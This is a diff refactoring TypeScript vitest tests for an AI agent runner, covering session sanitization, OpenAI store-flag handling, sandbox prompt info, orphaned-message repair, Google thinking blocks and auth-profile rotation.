expect(toolResult.role).toBe("toolResult");
|
||||
expect(toolResult.toolCallId).toBe("call123fc456");
|
||||
expectToolCallAndResultIds(out, "call123fc456");
|
||||
});
|
||||
|
||||
it("does not synthesize tool call input when missing", async () => {
|
||||
@@ -119,11 +106,9 @@ describe("sanitizeSessionMessagesImages", () => {
|
||||
|
||||
const out = await sanitizeSessionMessagesImages(input, "test");
|
||||
|
||||
expect(out).toHaveLength(1);
|
||||
const content = (out[0] as { content?: unknown }).content;
|
||||
expect(Array.isArray(content)).toBe(true);
|
||||
expect(content).toHaveLength(1);
|
||||
expect((content as Array<{ type?: string }>)[0]?.type).toBe("toolCall");
|
||||
expectSingleAssistantContentEntry(out, (entry) => {
|
||||
expect(entry.type).toBe("toolCall");
|
||||
});
|
||||
});
|
||||
|
||||
it("sanitizes tool ids in strict mode (alphanumeric only)", async () => {
|
||||
@@ -202,11 +187,9 @@ describe("sanitizeSessionMessagesImages", () => {
|
||||
|
||||
const out = await sanitizeSessionMessagesImages(input, "test");
|
||||
|
||||
expect(out).toHaveLength(1);
|
||||
const content = (out[0] as { content?: unknown }).content;
|
||||
expect(Array.isArray(content)).toBe(true);
|
||||
expect(content).toHaveLength(1);
|
||||
expect((content as Array<{ text?: string }>)[0]?.text).toBe("ok");
|
||||
expectSingleAssistantContentEntry(out, (entry) => {
|
||||
expect(entry.text).toBe("ok");
|
||||
});
|
||||
});
|
||||
it("drops assistant messages that only contain empty text", async () => {
|
||||
const input = [
|
||||
|
||||
@@ -65,6 +65,27 @@ describe("resolveExtraParams", () => {
|
||||
});
|
||||
|
||||
describe("applyExtraParamsToAgent", () => {
|
||||
function runStoreMutationCase(params: {
|
||||
applyProvider: string;
|
||||
applyModelId: string;
|
||||
model:
|
||||
| Model<"openai-responses">
|
||||
| Model<"openai-codex-responses">
|
||||
| Model<"openai-completions">;
|
||||
options?: SimpleStreamOptions;
|
||||
}) {
|
||||
const payload = { store: false };
|
||||
const baseStreamFn: StreamFn = (_model, _context, options) => {
|
||||
options?.onPayload?.(payload);
|
||||
return new AssistantMessageEventStream();
|
||||
};
|
||||
const agent = { streamFn: baseStreamFn };
|
||||
applyExtraParamsToAgent(agent, undefined, params.applyProvider, params.applyModelId);
|
||||
const context: Context = { messages: [] };
|
||||
void agent.streamFn?.(params.model, context, params.options ?? {});
|
||||
return payload;
|
||||
}
|
||||
|
||||
it("adds OpenRouter attribution headers to stream options", () => {
|
||||
const calls: Array<SimpleStreamOptions | undefined> = [];
|
||||
const baseStreamFn: StreamFn = (_model, _context, options) => {
|
||||
@@ -93,71 +114,44 @@ describe("applyExtraParamsToAgent", () => {
|
||||
});
|
||||
|
||||
it("forces store=true for direct OpenAI Responses payloads", () => {
|
||||
const payload = { store: false };
|
||||
const baseStreamFn: StreamFn = (_model, _context, options) => {
|
||||
options?.onPayload?.(payload);
|
||||
return new AssistantMessageEventStream();
|
||||
};
|
||||
const agent = { streamFn: baseStreamFn };
|
||||
|
||||
applyExtraParamsToAgent(agent, undefined, "openai", "gpt-5");
|
||||
|
||||
const model = {
|
||||
api: "openai-responses",
|
||||
provider: "openai",
|
||||
id: "gpt-5",
|
||||
baseUrl: "https://api.openai.com/v1",
|
||||
} as Model<"openai-responses">;
|
||||
const context: Context = { messages: [] };
|
||||
|
||||
void agent.streamFn?.(model, context, {});
|
||||
|
||||
const payload = runStoreMutationCase({
|
||||
applyProvider: "openai",
|
||||
applyModelId: "gpt-5",
|
||||
model: {
|
||||
api: "openai-responses",
|
||||
provider: "openai",
|
||||
id: "gpt-5",
|
||||
baseUrl: "https://api.openai.com/v1",
|
||||
} as Model<"openai-responses">,
|
||||
});
|
||||
expect(payload.store).toBe(true);
|
||||
});
|
||||
|
||||
it("does not force store for OpenAI Responses routed through non-OpenAI base URLs", () => {
|
||||
const payload = { store: false };
|
||||
const baseStreamFn: StreamFn = (_model, _context, options) => {
|
||||
options?.onPayload?.(payload);
|
||||
return new AssistantMessageEventStream();
|
||||
};
|
||||
const agent = { streamFn: baseStreamFn };
|
||||
|
||||
applyExtraParamsToAgent(agent, undefined, "openai", "gpt-5");
|
||||
|
||||
const model = {
|
||||
api: "openai-responses",
|
||||
provider: "openai",
|
||||
id: "gpt-5",
|
||||
baseUrl: "https://proxy.example.com/v1",
|
||||
} as Model<"openai-responses">;
|
||||
const context: Context = { messages: [] };
|
||||
|
||||
void agent.streamFn?.(model, context, {});
|
||||
|
||||
const payload = runStoreMutationCase({
|
||||
applyProvider: "openai",
|
||||
applyModelId: "gpt-5",
|
||||
model: {
|
||||
api: "openai-responses",
|
||||
provider: "openai",
|
||||
id: "gpt-5",
|
||||
baseUrl: "https://proxy.example.com/v1",
|
||||
} as Model<"openai-responses">,
|
||||
});
|
||||
expect(payload.store).toBe(false);
|
||||
});
|
||||
|
||||
it("does not force store=true for Codex responses (Codex requires store=false)", () => {
|
||||
const payload = { store: false };
|
||||
const baseStreamFn: StreamFn = (_model, _context, options) => {
|
||||
options?.onPayload?.(payload);
|
||||
return new AssistantMessageEventStream();
|
||||
};
|
||||
const agent = { streamFn: baseStreamFn };
|
||||
|
||||
applyExtraParamsToAgent(agent, undefined, "openai-codex", "codex-mini-latest");
|
||||
|
||||
const model = {
|
||||
api: "openai-codex-responses",
|
||||
provider: "openai-codex",
|
||||
id: "codex-mini-latest",
|
||||
baseUrl: "https://chatgpt.com/backend-api/codex/responses",
|
||||
} as Model<"openai-codex-responses">;
|
||||
const context: Context = { messages: [] };
|
||||
|
||||
void agent.streamFn?.(model, context, {});
|
||||
|
||||
const payload = runStoreMutationCase({
|
||||
applyProvider: "openai-codex",
|
||||
applyModelId: "codex-mini-latest",
|
||||
model: {
|
||||
api: "openai-codex-responses",
|
||||
provider: "openai-codex",
|
||||
id: "codex-mini-latest",
|
||||
baseUrl: "https://chatgpt.com/backend-api/codex/responses",
|
||||
} as Model<"openai-codex-responses">,
|
||||
});
|
||||
expect(payload.store).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -2,42 +2,47 @@ import { describe, expect, it } from "vitest";
|
||||
import type { SandboxContext } from "./sandbox.js";
|
||||
import { buildEmbeddedSandboxInfo } from "./pi-embedded-runner.js";
|
||||
|
||||
function createSandboxContext(overrides?: Partial<SandboxContext>): SandboxContext {
|
||||
const base = {
|
||||
enabled: true,
|
||||
sessionKey: "session:test",
|
||||
workspaceDir: "/tmp/openclaw-sandbox",
|
||||
agentWorkspaceDir: "/tmp/openclaw-workspace",
|
||||
workspaceAccess: "none",
|
||||
containerName: "openclaw-sbx-test",
|
||||
containerWorkdir: "/workspace",
|
||||
docker: {
|
||||
image: "openclaw-sandbox:bookworm-slim",
|
||||
containerPrefix: "openclaw-sbx-",
|
||||
workdir: "/workspace",
|
||||
readOnlyRoot: true,
|
||||
tmpfs: ["/tmp"],
|
||||
network: "none",
|
||||
user: "1000:1000",
|
||||
capDrop: ["ALL"],
|
||||
env: { LANG: "C.UTF-8" },
|
||||
},
|
||||
tools: {
|
||||
allow: ["exec"],
|
||||
deny: ["browser"],
|
||||
},
|
||||
browserAllowHostControl: true,
|
||||
browser: {
|
||||
bridgeUrl: "http://localhost:9222",
|
||||
noVncUrl: "http://localhost:6080",
|
||||
containerName: "openclaw-sbx-browser-test",
|
||||
},
|
||||
} satisfies SandboxContext;
|
||||
return { ...base, ...overrides };
|
||||
}
|
||||
|
||||
describe("buildEmbeddedSandboxInfo", () => {
|
||||
it("returns undefined when sandbox is missing", () => {
|
||||
expect(buildEmbeddedSandboxInfo()).toBeUndefined();
|
||||
});
|
||||
|
||||
it("maps sandbox context into prompt info", () => {
|
||||
const sandbox = {
|
||||
enabled: true,
|
||||
sessionKey: "session:test",
|
||||
workspaceDir: "/tmp/openclaw-sandbox",
|
||||
agentWorkspaceDir: "/tmp/openclaw-workspace",
|
||||
workspaceAccess: "none",
|
||||
containerName: "openclaw-sbx-test",
|
||||
containerWorkdir: "/workspace",
|
||||
docker: {
|
||||
image: "openclaw-sandbox:bookworm-slim",
|
||||
containerPrefix: "openclaw-sbx-",
|
||||
workdir: "/workspace",
|
||||
readOnlyRoot: true,
|
||||
tmpfs: ["/tmp"],
|
||||
network: "none",
|
||||
user: "1000:1000",
|
||||
capDrop: ["ALL"],
|
||||
env: { LANG: "C.UTF-8" },
|
||||
},
|
||||
tools: {
|
||||
allow: ["exec"],
|
||||
deny: ["browser"],
|
||||
},
|
||||
browserAllowHostControl: true,
|
||||
browser: {
|
||||
bridgeUrl: "http://localhost:9222",
|
||||
noVncUrl: "http://localhost:6080",
|
||||
containerName: "openclaw-sbx-browser-test",
|
||||
},
|
||||
} satisfies SandboxContext;
|
||||
const sandbox = createSandboxContext();
|
||||
|
||||
expect(buildEmbeddedSandboxInfo(sandbox)).toEqual({
|
||||
enabled: true,
|
||||
@@ -52,31 +57,10 @@ describe("buildEmbeddedSandboxInfo", () => {
|
||||
});
|
||||
|
||||
it("includes elevated info when allowed", () => {
|
||||
const sandbox = {
|
||||
enabled: true,
|
||||
sessionKey: "session:test",
|
||||
workspaceDir: "/tmp/openclaw-sandbox",
|
||||
agentWorkspaceDir: "/tmp/openclaw-workspace",
|
||||
workspaceAccess: "none",
|
||||
containerName: "openclaw-sbx-test",
|
||||
containerWorkdir: "/workspace",
|
||||
docker: {
|
||||
image: "openclaw-sandbox:bookworm-slim",
|
||||
containerPrefix: "openclaw-sbx-",
|
||||
workdir: "/workspace",
|
||||
readOnlyRoot: true,
|
||||
tmpfs: ["/tmp"],
|
||||
network: "none",
|
||||
user: "1000:1000",
|
||||
capDrop: ["ALL"],
|
||||
env: { LANG: "C.UTF-8" },
|
||||
},
|
||||
tools: {
|
||||
allow: ["exec"],
|
||||
deny: ["browser"],
|
||||
},
|
||||
const sandbox = createSandboxContext({
|
||||
browserAllowHostControl: false,
|
||||
} satisfies SandboxContext;
|
||||
browser: undefined,
|
||||
});
|
||||
|
||||
expect(
|
||||
buildEmbeddedSandboxInfo(sandbox, {
|
||||
|
||||
@@ -146,6 +146,32 @@ const nextSessionFile = () => {
|
||||
const testSessionKey = "agent:test:embedded";
|
||||
const immediateEnqueue = async <T>(task: () => Promise<T>) => task();
|
||||
|
||||
const runWithOrphanedSingleUserMessage = async (text: string) => {
|
||||
const { SessionManager } = await import("@mariozechner/pi-coding-agent");
|
||||
const sessionFile = nextSessionFile();
|
||||
const sessionManager = SessionManager.open(sessionFile);
|
||||
sessionManager.appendMessage({
|
||||
role: "user",
|
||||
content: [{ type: "text", text }],
|
||||
});
|
||||
|
||||
const cfg = makeOpenAiConfig(["mock-1"]);
|
||||
await ensureModels(cfg);
|
||||
return await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: testSessionKey,
|
||||
sessionFile,
|
||||
workspaceDir,
|
||||
config: cfg,
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
timeoutMs: 5_000,
|
||||
agentDir,
|
||||
enqueue: immediateEnqueue,
|
||||
});
|
||||
};
|
||||
|
||||
const textFromContent = (content: unknown) => {
|
||||
if (typeof content === "string") {
|
||||
return content;
|
||||
@@ -172,6 +198,24 @@ const readSessionMessages = async (sessionFile: string) => {
|
||||
.map((entry) => entry.message as { role?: string; content?: unknown });
|
||||
};
|
||||
|
||||
const runDefaultEmbeddedTurn = async (sessionFile: string, prompt: string) => {
|
||||
const cfg = makeOpenAiConfig(["mock-1"]);
|
||||
await ensureModels(cfg);
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: testSessionKey,
|
||||
sessionFile,
|
||||
workspaceDir,
|
||||
config: cfg,
|
||||
prompt,
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
timeoutMs: 5_000,
|
||||
agentDir,
|
||||
enqueue: immediateEnqueue,
|
||||
});
|
||||
};
|
||||
|
||||
describe("runEmbeddedPiAgent", () => {
|
||||
it("writes models.json into the provided agentDir", async () => {
|
||||
const sessionFile = nextSessionFile();
|
||||
@@ -289,22 +333,7 @@ describe("runEmbeddedPiAgent", () => {
|
||||
|
||||
it("persists the first user message before assistant output", { timeout: 120_000 }, async () => {
|
||||
const sessionFile = nextSessionFile();
|
||||
const cfg = makeOpenAiConfig(["mock-1"]);
|
||||
await ensureModels(cfg);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: testSessionKey,
|
||||
sessionFile,
|
||||
workspaceDir,
|
||||
config: cfg,
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
timeoutMs: 5_000,
|
||||
agentDir,
|
||||
enqueue: immediateEnqueue,
|
||||
});
|
||||
await runDefaultEmbeddedTurn(sessionFile, "hello");
|
||||
|
||||
const messages = await readSessionMessages(sessionFile);
|
||||
const firstUserIndex = messages.findIndex(
|
||||
@@ -380,22 +409,7 @@ describe("runEmbeddedPiAgent", () => {
|
||||
timestamp: Date.now(),
|
||||
});
|
||||
|
||||
const cfg = makeOpenAiConfig(["mock-1"]);
|
||||
await ensureModels(cfg);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: testSessionKey,
|
||||
sessionFile,
|
||||
workspaceDir,
|
||||
config: cfg,
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
timeoutMs: 5_000,
|
||||
agentDir,
|
||||
enqueue: immediateEnqueue,
|
||||
});
|
||||
await runDefaultEmbeddedTurn(sessionFile, "hello");
|
||||
|
||||
const messages = await readSessionMessages(sessionFile);
|
||||
const seedUserIndex = messages.findIndex(
|
||||
@@ -475,62 +489,14 @@ describe("runEmbeddedPiAgent", () => {
|
||||
});
|
||||
|
||||
it("repairs orphaned user messages and continues", async () => {
|
||||
const { SessionManager } = await import("@mariozechner/pi-coding-agent");
|
||||
const sessionFile = nextSessionFile();
|
||||
|
||||
const sessionManager = SessionManager.open(sessionFile);
|
||||
sessionManager.appendMessage({
|
||||
role: "user",
|
||||
content: [{ type: "text", text: "orphaned user" }],
|
||||
});
|
||||
|
||||
const cfg = makeOpenAiConfig(["mock-1"]);
|
||||
await ensureModels(cfg);
|
||||
|
||||
const result = await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: testSessionKey,
|
||||
sessionFile,
|
||||
workspaceDir,
|
||||
config: cfg,
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
timeoutMs: 5_000,
|
||||
agentDir,
|
||||
enqueue: immediateEnqueue,
|
||||
});
|
||||
const result = await runWithOrphanedSingleUserMessage("orphaned user");
|
||||
|
||||
expect(result.meta.error).toBeUndefined();
|
||||
expect(result.payloads?.length ?? 0).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("repairs orphaned single-user sessions and continues", async () => {
|
||||
const { SessionManager } = await import("@mariozechner/pi-coding-agent");
|
||||
const sessionFile = nextSessionFile();
|
||||
|
||||
const sessionManager = SessionManager.open(sessionFile);
|
||||
sessionManager.appendMessage({
|
||||
role: "user",
|
||||
content: [{ type: "text", text: "solo user" }],
|
||||
});
|
||||
|
||||
const cfg = makeOpenAiConfig(["mock-1"]);
|
||||
await ensureModels(cfg);
|
||||
|
||||
const result = await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: testSessionKey,
|
||||
sessionFile,
|
||||
workspaceDir,
|
||||
config: cfg,
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
timeoutMs: 5_000,
|
||||
agentDir,
|
||||
enqueue: immediateEnqueue,
|
||||
});
|
||||
const result = await runWithOrphanedSingleUserMessage("solo user");
|
||||
|
||||
expect(result.meta.error).toBeUndefined();
|
||||
expect(result.payloads?.length ?? 0).toBeGreaterThan(0);
|
||||
|
||||
@@ -3,85 +3,59 @@ import { SessionManager } from "@mariozechner/pi-coding-agent";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { sanitizeSessionHistory } from "./pi-embedded-runner/google.js";
|
||||
|
||||
type AssistantThinking = { type?: string; thinking?: string; thinkingSignature?: string };
|
||||
|
||||
function getAssistantMessage(out: AgentMessage[]) {
|
||||
return out.find((msg) => (msg as { role?: string }).role === "assistant") as
|
||||
| { content?: AssistantThinking[] }
|
||||
| undefined;
|
||||
}
|
||||
|
||||
async function sanitizeGoogleAssistantWithContent(content: unknown[]) {
|
||||
const sessionManager = SessionManager.inMemory();
|
||||
const input = [
|
||||
{
|
||||
role: "user",
|
||||
content: "hi",
|
||||
},
|
||||
{
|
||||
role: "assistant",
|
||||
content,
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
|
||||
const out = await sanitizeSessionHistory({
|
||||
messages: input,
|
||||
modelApi: "google-antigravity",
|
||||
sessionManager,
|
||||
sessionId: "session:google",
|
||||
});
|
||||
|
||||
return getAssistantMessage(out);
|
||||
}
|
||||
|
||||
describe("sanitizeSessionHistory (google thinking)", () => {
|
||||
it("keeps thinking blocks without signatures for Google models", async () => {
|
||||
const sessionManager = SessionManager.inMemory();
|
||||
const input = [
|
||||
{
|
||||
role: "user",
|
||||
content: "hi",
|
||||
},
|
||||
{
|
||||
role: "assistant",
|
||||
content: [{ type: "thinking", thinking: "reasoning" }],
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
|
||||
const out = await sanitizeSessionHistory({
|
||||
messages: input,
|
||||
modelApi: "google-antigravity",
|
||||
sessionManager,
|
||||
sessionId: "session:google",
|
||||
});
|
||||
|
||||
const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as {
|
||||
content?: Array<{ type?: string; thinking?: string }>;
|
||||
};
|
||||
const assistant = await sanitizeGoogleAssistantWithContent([
|
||||
{ type: "thinking", thinking: "reasoning" },
|
||||
]);
|
||||
expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]);
|
||||
expect(assistant.content?.[0]?.thinking).toBe("reasoning");
|
||||
});
|
||||
|
||||
it("keeps thinking blocks with signatures for Google models", async () => {
|
||||
const sessionManager = SessionManager.inMemory();
|
||||
const input = [
|
||||
{
|
||||
role: "user",
|
||||
content: "hi",
|
||||
},
|
||||
{
|
||||
role: "assistant",
|
||||
content: [{ type: "thinking", thinking: "reasoning", thinkingSignature: "sig" }],
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
|
||||
const out = await sanitizeSessionHistory({
|
||||
messages: input,
|
||||
modelApi: "google-antigravity",
|
||||
sessionManager,
|
||||
sessionId: "session:google",
|
||||
});
|
||||
|
||||
const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as {
|
||||
content?: Array<{ type?: string; thinking?: string; thinkingSignature?: string }>;
|
||||
};
|
||||
const assistant = await sanitizeGoogleAssistantWithContent([
|
||||
{ type: "thinking", thinking: "reasoning", thinkingSignature: "sig" },
|
||||
]);
|
||||
expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]);
|
||||
expect(assistant.content?.[0]?.thinking).toBe("reasoning");
|
||||
expect(assistant.content?.[0]?.thinkingSignature).toBe("sig");
|
||||
});
|
||||
|
||||
it("keeps thinking blocks with Anthropic-style signatures for Google models", async () => {
|
||||
const sessionManager = SessionManager.inMemory();
|
||||
const input = [
|
||||
{
|
||||
role: "user",
|
||||
content: "hi",
|
||||
},
|
||||
{
|
||||
role: "assistant",
|
||||
content: [{ type: "thinking", thinking: "reasoning", signature: "sig" }],
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
|
||||
const out = await sanitizeSessionHistory({
|
||||
messages: input,
|
||||
modelApi: "google-antigravity",
|
||||
sessionManager,
|
||||
sessionId: "session:google",
|
||||
});
|
||||
|
||||
const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as {
|
||||
content?: Array<{ type?: string; thinking?: string }>;
|
||||
};
|
||||
const assistant = await sanitizeGoogleAssistantWithContent([
|
||||
{ type: "thinking", thinking: "reasoning", signature: "sig" },
|
||||
]);
|
||||
expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]);
|
||||
expect(assistant.content?.[0]?.thinking).toBe("reasoning");
|
||||
});
|
||||
|
||||
@@ -120,55 +120,154 @@ const writeAuthStore = async (
|
||||
await fs.writeFile(authPath, JSON.stringify(payload));
|
||||
};
|
||||
|
||||
const mockFailedThenSuccessfulAttempt = (errorMessage = "rate limit") => {
|
||||
runEmbeddedAttemptMock
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: [],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "error",
|
||||
errorMessage,
|
||||
}),
|
||||
}),
|
||||
)
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
};
|
||||
|
||||
async function runAutoPinnedOpenAiTurn(params: {
|
||||
agentDir: string;
|
||||
workspaceDir: string;
|
||||
sessionKey: string;
|
||||
runId: string;
|
||||
authProfileId?: string;
|
||||
}) {
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: params.sessionKey,
|
||||
sessionFile: path.join(params.workspaceDir, "session.jsonl"),
|
||||
workspaceDir: params.workspaceDir,
|
||||
agentDir: params.agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: params.authProfileId ?? "openai:p1",
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
runId: params.runId,
|
||||
});
|
||||
}
|
||||
|
||||
async function readUsageStats(agentDir: string) {
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as { usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }> };
|
||||
return stored.usageStats ?? {};
|
||||
}
|
||||
|
||||
async function expectProfileP2UsageUpdated(agentDir: string) {
|
||||
const usageStats = await readUsageStats(agentDir);
|
||||
expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number");
|
||||
}
|
||||
|
||||
async function expectProfileP2UsageUnchanged(agentDir: string) {
|
||||
const usageStats = await readUsageStats(agentDir);
|
||||
expect(usageStats["openai:p2"]?.lastUsed).toBe(2);
|
||||
}
|
||||
|
||||
function mockSingleSuccessfulAttempt() {
|
||||
runEmbeddedAttemptMock.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
async function withTimedAgentWorkspace<T>(
|
||||
run: (ctx: { agentDir: string; workspaceDir: string; now: number }) => Promise<T>,
|
||||
) {
|
||||
vi.useFakeTimers();
|
||||
try {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||
const now = Date.now();
|
||||
vi.setSystemTime(now);
|
||||
|
||||
try {
|
||||
return await run({ agentDir, workspaceDir, now });
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
}
|
||||
|
||||
async function runTurnWithCooldownSeed(params: {
|
||||
sessionKey: string;
|
||||
runId: string;
|
||||
authProfileId: string | undefined;
|
||||
authProfileIdSource: "auto" | "user";
|
||||
}) {
|
||||
return await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => {
|
||||
await writeAuthStore(agentDir, {
|
||||
usageStats: {
|
||||
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
|
||||
"openai:p2": { lastUsed: 2 },
|
||||
},
|
||||
});
|
||||
mockSingleSuccessfulAttempt();
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: params.sessionKey,
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: params.authProfileId,
|
||||
authProfileIdSource: params.authProfileIdSource,
|
||||
timeoutMs: 5_000,
|
||||
runId: params.runId,
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
|
||||
return { usageStats: await readUsageStats(agentDir), now };
|
||||
});
|
||||
}
|
||||
|
||||
describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
it("rotates for auto-pinned profiles", async () => {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||
try {
|
||||
await writeAuthStore(agentDir);
|
||||
|
||||
runEmbeddedAttemptMock
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: [],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "error",
|
||||
errorMessage: "rate limit",
|
||||
}),
|
||||
}),
|
||||
)
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:auto",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
mockFailedThenSuccessfulAttempt("rate limit");
|
||||
await runAutoPinnedOpenAiTurn({
|
||||
agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: "openai:p1",
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
workspaceDir,
|
||||
sessionKey: "agent:test:auto",
|
||||
runId: "run:auto",
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as { usageStats?: Record<string, { lastUsed?: number }> };
|
||||
expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number");
|
||||
await expectProfileP2UsageUpdated(agentDir);
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
@@ -180,49 +279,16 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||
try {
|
||||
await writeAuthStore(agentDir);
|
||||
|
||||
runEmbeddedAttemptMock
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: [],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "error",
|
||||
errorMessage: "request ended without sending any chunks",
|
||||
}),
|
||||
}),
|
||||
)
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:empty-chunk-stream",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
mockFailedThenSuccessfulAttempt("request ended without sending any chunks");
|
||||
await runAutoPinnedOpenAiTurn({
|
||||
agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: "openai:p1",
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
workspaceDir,
|
||||
sessionKey: "agent:test:empty-chunk-stream",
|
||||
runId: "run:empty-chunk-stream",
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as { usageStats?: Record<string, { lastUsed?: number }> };
|
||||
expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number");
|
||||
await expectProfileP2UsageUpdated(agentDir);
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
@@ -267,10 +333,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
|
||||
expect(result.meta.aborted).toBe(true);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as { usageStats?: Record<string, { lastUsed?: number }> };
|
||||
expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2);
|
||||
await expectProfileP2UsageUnchanged(agentDir);
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
